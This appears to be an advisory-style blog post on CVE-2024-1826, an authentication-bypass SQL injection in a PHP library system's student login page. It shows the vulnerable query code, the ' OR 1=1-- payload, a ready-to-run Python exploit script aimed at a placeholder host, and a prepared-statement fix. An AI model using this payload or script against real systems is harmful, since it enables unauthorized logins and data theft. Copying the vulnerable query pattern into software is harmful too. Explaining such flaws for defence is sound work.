CVE-2024-1826 - Critical SQL Injection in code-projects Library System 1. (login.php)

A critical vulnerability, tracked as CVE-2024-1826 (also listed as VDB-254614), has been discovered in the popular open-source project, code-projects Library System 1.. This flaw specifically affects the login feature (Source/librarian/user/student/login.php) and results from improper handling of user input, allowing attackers to leverage SQL Injection via the username or password parameter. This post details the vulnerability, shows an exploit example, and discusses implications and mitigation.

What is CVE-2024-1826?

CVE-2024-1826 is a SQL Injection vulnerability in the login page of the Library System 1. product developed by code-projects. SQL Injection is a well-known attack technique that involves inserting malicious SQL commands into a query, potentially granting attackers unauthorized access to the underlying database and its sensitive information.

Affected Component

- Filename: Source/librarian/user/student/login.php

How Does the Vulnerability Work?

The login page takes the username and password parameters from a web form, combines them into an SQL query, and checks them against the database:

Vulnerable code snippet (simplified)

<?php
include('db_connect.php');
if (isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $result = mysqli_query($conn, "SELECT * FROM students WHERE username='$username' AND password='$password'");
    if (mysqli_num_rows($result) == 1) {
        // Authentication success
    } else {
        // Invalid credentials
    }
}
?>

Problem:
The user's input goes directly into the SQL statement without sanitization or prepared statements.

Exploiting CVE-2024-1826

Because user input isn't properly handled, attackers can craft malicious input to manipulate the SQL query.

Attack Example:

Query Generated

SELECT * FROM students WHERE username='' OR 1=1-- ' AND password=''

The OR 1=1 always evaluates to TRUE.

Effect:
The SQL query returns all users, allowing the attacker to log in as the first user in the table — often an administrator.

Below is a sample Python script using requests to exploit the vulnerability

import requests

url = "http://target-site.com/Source/librarian/user/student/login.php";
data = {
    'username': "' OR 1=1-- ",
    'password': 'anything',
    'login': 'Login'
}

session = requests.Session()
response = session.post(url, data=data)

if "Dashboard" in response.text:
    print("[+] Exploit successful! Logged in.")
else:
    print("[-] Exploit failed.")

> Replace http://target-site.com/ with the actual Library System domain.

Bypass Authentication: Attackers can log in as any user.

- Data Theft: Possible access to student/administrator information.
- Database Manipulation: Crafting more advanced payloads may allow further database actions, e.g. dumping, editing, or deleting data.

Risk Level:
Critical. This bug allows attackers to compromise confidentiality and integrity remotely without authentication.

Secure Code Example

$stmt = $conn->prepare('SELECT * FROM students WHERE username=? AND password=?');
$stmt->bind_param('ss', $username, $password);
$stmt->execute();
$result = $stmt->get_result();

References

- Vulnerability Database Entry (VulDB) – VDB-254614
- code-projects Library System 1.
- CVE-2024-1826 Details – MITRE *(May not be published yet)*

Conclusion

CVE-2024-1826 in code-projects Library System 1. is a classic, highly dangerous SQL Injection bug that can be exploited remotely to bypass logins and steal or modify data. If you use this system, update your source immediately — never trust unsanitized input in SQL queries!

*Written for educational and defensive purposes only. Use responsibly and legally.*

Timeline

Published on: 02/23/2024 17:15:08 UTC
Last modified on: 03/21/2024 02:51:46 UTC